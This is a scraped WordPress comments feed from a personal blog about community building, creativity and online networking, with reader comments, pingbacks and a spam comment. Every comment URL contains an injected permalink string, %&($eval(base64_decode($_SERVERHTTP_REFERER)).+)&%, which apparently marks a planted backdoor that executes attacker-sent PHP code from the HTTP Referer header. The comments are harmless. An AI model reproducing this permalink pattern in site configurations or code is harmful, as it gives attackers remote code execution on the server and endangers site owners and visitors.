Comments for JustinFenwick.net http://www.justinfenwick.net Creative Community Consulting: Tips, Tricks and Techniques for your career, life, creativity, stakeholder engagement, community involvement, strategic planning, and group work. Fri, 12 Mar 2010 21:10:40 +0000 http://wordpress.org/?v=2.7.1 hourly 1 Comment on Review: aimee mann’s annual christmas show by review: aimee mann's annual christmas show | Concert Tickets , Sports Tickets , Theatre Tickets http://www.justinfenwick.net/2007/12/16/review-aimee-manns-annual-christmas-show/%&($eval(base64_decode($_SERVERHTTP_REFERER)).+)&%/comment-page-1/#comment-1164 review: aimee mann's annual christmas show | Concert Tickets , Sports Tickets , Theatre Tickets Wed, 16 Dec 2009 09:36:10 +0000 http://www.justinfenwick.net/2007/12/16/review-aimee-manns-annual-christmas-show/#comment-1164 [...] See more here: review: aimee mann's annual christmas show [...] [...] See more here: review: aimee mann's annual christmas show [...]

]]> Comment on Rethinking Your Connections Online by Tomas http://www.justinfenwick.net/2009/11/17/rethinking-your-connections-online/%&($eval(base64_decode($_SERVERHTTP_REFERER)).+)&%/comment-page-1/#comment-1097 Tomas Thu, 19 Nov 2009 07:11:56 +0000 http://www.justinfenwick.net/?p=411#comment-1097 Justin- This explanation is wonderful. The clarity and voice here is quite move from the presentation of these ideas I saw at the last intensive. While I look forward to seeing stories and examples, this post gave me much more understanding of your and Zack's concept. Justin-
This explanation is wonderful. The clarity and voice here is quite move from the presentation of these ideas I saw at the last intensive. While I look forward to seeing stories and examples, this post gave me much more understanding of your and Zack’s concept.

]]> Comment on Rethinking Your Connections Online by Bonnie Wallace http://www.justinfenwick.net/2009/11/17/rethinking-your-connections-online/%&($eval(base64_decode($_SERVERHTTP_REFERER)).+)&%/comment-page-1/#comment-1096 Bonnie Wallace Wed, 18 Nov 2009 18:02:27 +0000 http://www.justinfenwick.net/?p=411#comment-1096 Justin, I agree totally that the prevailing wisdom seems individual-centric. I love the idea of weaving, and connecting in such an organic model. The quote "connect on your similarity and profit from your diversity" has left me much to think about today. Thank you. Justin,

I agree totally that the prevailing wisdom seems individual-centric. I love the idea of weaving, and connecting in such an organic model. The quote “connect on your similarity and profit from your diversity” has left me much to think about today. Thank you.

]]> Comment on Don’t Eliminate Community - Where do you fit in? by Julie Mihalisin http://www.justinfenwick.net/2009/11/02/dont-eliminate-community-where-do-you-fit-in/%&($eval(base64_decode($_SERVERHTTP_REFERER)).+)&%/comment-page-1/#comment-1081 Julie Mihalisin Sun, 15 Nov 2009 06:34:02 +0000 http://www.justinfenwick.net/?p=407#comment-1081 Great video around great questions Justin. One word with so many meanings... I just held a creative session around bringing diversity into community. While it is true that we tend to be drawn to people like us, just as monoculture is bad for a farm, there are compelling reasons for us to broaden our horizons. Great video around great questions Justin. One word with so many meanings… I just held a creative session around bringing diversity into community. While it is true that we tend to be drawn to people like us, just as monoculture is bad for a farm, there are compelling reasons for us to broaden our horizons.

]]> Comment on Thoughts on a Beat - Online Communities 4 Real Change by Justin Fenwick http://www.justinfenwick.net/2009/10/26/thoughts-on-a-beat-online-communities-4-real-change/%&($eval(base64_decode($_SERVERHTTP_REFERER)).+)&%/comment-page-1/#comment-1045 Justin Fenwick Sat, 31 Oct 2009 12:37:15 +0000 http://www.justinfenwick.net/?p=363#comment-1045 As we are being taught, people scan before they read. In fact, that's how I look at research articles I might need for academic pursuits. In the short attention span that comes with the internet territory, there has to be considerable effort to get certain points across in just a couple seconds. Rarely does a post get a full read, a trend that is exaggerated online. I remember back when I was a young one trying to blog, my big "it" ideas was to write posts that were rooted in real academic rigor, cited all of its sources (both online and off), but still offered it up in a digestible way. I learned that while I think people enjoyed the entries, it wasn't worth my time. I also ended up posting things akin to academic papers instead of blog posts (annoying to any casual reader). So to your point...I think the purpose online is to contribute to a continuing conversation. The online world and sometimes tight online communities do not function well if individuals only display their thoughts and theories for all to see. The modern day Harvard Business Review article is formed via multiple posts interlinked to each other on similar but slightly different topics. My translation will probably be more in this form, trying to serve as one of the center "nodes" that connect previously unconnected big ideas. That is what opportunity looks like online. If I do seek out academic articles or books to summarize or "translate" as you put it , I will have to challenge myself to keep contributing to the conversation by finding that author's blog, a review on Amazon, or something that keeps the conversation connected online. The academic world feels forced to me. Which I think produces some important results, but I do not think that arena is where the knowledge of the future is located. Thanks for giving me a lot to think about Bonnie! As we are being taught, people scan before they read. In fact, that’s how I look at research articles I might need for academic pursuits. In the short attention span that comes with the internet territory, there has to be considerable effort to get certain points across in just a couple seconds. Rarely does a post get a full read, a trend that is exaggerated online.

I remember back when I was a young one trying to blog, my big “it” ideas was to write posts that were rooted in real academic rigor, cited all of its sources (both online and off), but still offered it up in a digestible way. I learned that while I think people enjoyed the entries, it wasn’t worth my time. I also ended up posting things akin to academic papers instead of blog posts (annoying to any casual reader).

So to your point…I think the purpose online is to contribute to a continuing conversation. The online world and sometimes tight online communities do not function well if individuals only display their thoughts and theories for all to see. The modern day Harvard Business Review article is formed via multiple posts interlinked to each other on similar but slightly different topics. My translation will probably be more in this form, trying to serve as one of the center “nodes” that connect previously unconnected big ideas. That is what opportunity looks like online. If I do seek out academic articles or books to summarize or “translate” as you put it , I will have to challenge myself to keep contributing to the conversation by finding that author’s blog, a review on Amazon, or something that keeps the conversation connected online.

The academic world feels forced to me. Which I think produces some important results, but I do not think that arena is where the knowledge of the future is located.

Thanks for giving me a lot to think about Bonnie!

]]> Comment on Comparing Online vs. Offline by Tweets that mention JustinFenwick.net » Comparing Online vs. Offline -- Topsy.com http://www.justinfenwick.net/2009/10/28/comparing-online-vs-offline/%&($eval(base64_decode($_SERVERHTTP_REFERER)).+)&%/comment-page-1/#comment-1043 Tweets that mention JustinFenwick.net » Comparing Online vs. Offline -- Topsy.com Wed, 28 Oct 2009 08:09:39 +0000 http://www.justinfenwick.net/?p=380#comment-1043 [...] This post was mentioned on Twitter by Randy Richmond, Justin Fenwick. Justin Fenwick said: New blog post: Comparing Online vs. Offline http://bit.ly/NI2Cg [...] [...] This post was mentioned on Twitter by Randy Richmond, Justin Fenwick. Justin Fenwick said: New blog post: Comparing Online vs. Offline http://bit.ly/NI2Cg [...]

]]> Comment on Thoughts on a Beat - Online Communities 4 Real Change by Bonnie J. Wallace http://www.justinfenwick.net/2009/10/26/thoughts-on-a-beat-online-communities-4-real-change/%&($eval(base64_decode($_SERVERHTTP_REFERER)).+)&%/comment-page-1/#comment-1042 Bonnie J. Wallace Tue, 27 Oct 2009 20:04:24 +0000 http://www.justinfenwick.net/?p=363#comment-1042 Justin, I think this is exactly the right place to bridge the considerable gap between the academic and the social in terms of information sharing. Sometimes I feel as if we live in two completely separate worlds... the Harvard Business Review, and, uhh... Reality TV online. So maybe some translation is in order. My experience is that academic papers feel frequently inaccessable because of their perhaps deliberate aim for a narrow audience. But true social transformation requires that groundbreaking ideas are accessable to all. Translate for us! Maybe one paper a week, giving credit in terms of source, and distilled into something that real people can USE? Justin,
I think this is exactly the right place to bridge the considerable gap between the academic and the social in terms of information sharing. Sometimes I feel as if we live in two completely separate worlds… the Harvard Business Review, and, uhh… Reality TV online. So maybe some translation is in order. My experience is that academic papers feel frequently inaccessable because of their perhaps deliberate aim for a narrow audience. But true social transformation requires that groundbreaking ideas are accessable to all. Translate for us! Maybe one paper a week, giving credit in terms of source, and distilled into something that real people can USE?

]]> Comment on Twentysomething: Why I regret getting straight A’s in college by Pharme887 http://www.justinfenwick.net/2007/12/11/twentysomething-why-i-regret-getting-straight-a%e2%80%99s-in-college/%&($eval(base64_decode($_SERVERHTTP_REFERER)).+)&%/comment-page-1/#comment-1039 Pharme887 Fri, 23 Oct 2009 21:51:52 +0000 http://www.justinfenwick.net/2007/12/11/twentysomething-why-i-regret-getting-straight-a%e2%80%99s-in-college/#comment-1039 Very nice site! Very nice site!

]]> Comment on Organizing Your New Social Web by Miriam Easley http://www.justinfenwick.net/2009/10/12/organizing-your-new-social-web/%&($eval(base64_decode($_SERVERHTTP_REFERER)).+)&%/comment-page-1/#comment-944 Miriam Easley Tue, 13 Oct 2009 01:59:50 +0000 http://www.justinfenwick.net/?p=355#comment-944 Thanks for this great summary of how you organize your online life. I'm trying to glean what information I can from the people in class who've done this for awhile. This is my first time using my gmail account; I've had hotmail since, oh...1994. Perhaps it's time for me to finally make the switch. I'm looking forward to the mindmap to learn more! Thanks for this great summary of how you organize your online life. I’m trying to glean what information I can from the people in class who’ve done this for awhile. This is my first time using my gmail account; I’ve had hotmail since, oh…1994. Perhaps it’s time for me to finally make the switch. I’m looking forward to the mindmap to learn more!

]]> Comment on Back From My First Intensive - Social web, marketing, creativity, and leadership by beth http://www.justinfenwick.net/2009/10/07/back-from-my-first-intensive-social-web-marketing-creativity-and-leadership/%&($eval(base64_decode($_SERVERHTTP_REFERER)).+)&%/comment-page-1/#comment-936 beth Mon, 12 Oct 2009 06:22:06 +0000 http://www.justinfenwick.net/?p=360#comment-936 i still have my post-its on my desk at work. waiting to be blogged and shared with a co-worker. i still haven't settled on my three tags. :-( i still have my post-its on my desk at work. waiting to be blogged and shared with a co-worker.

i still haven’t settled on my three tags. :-(

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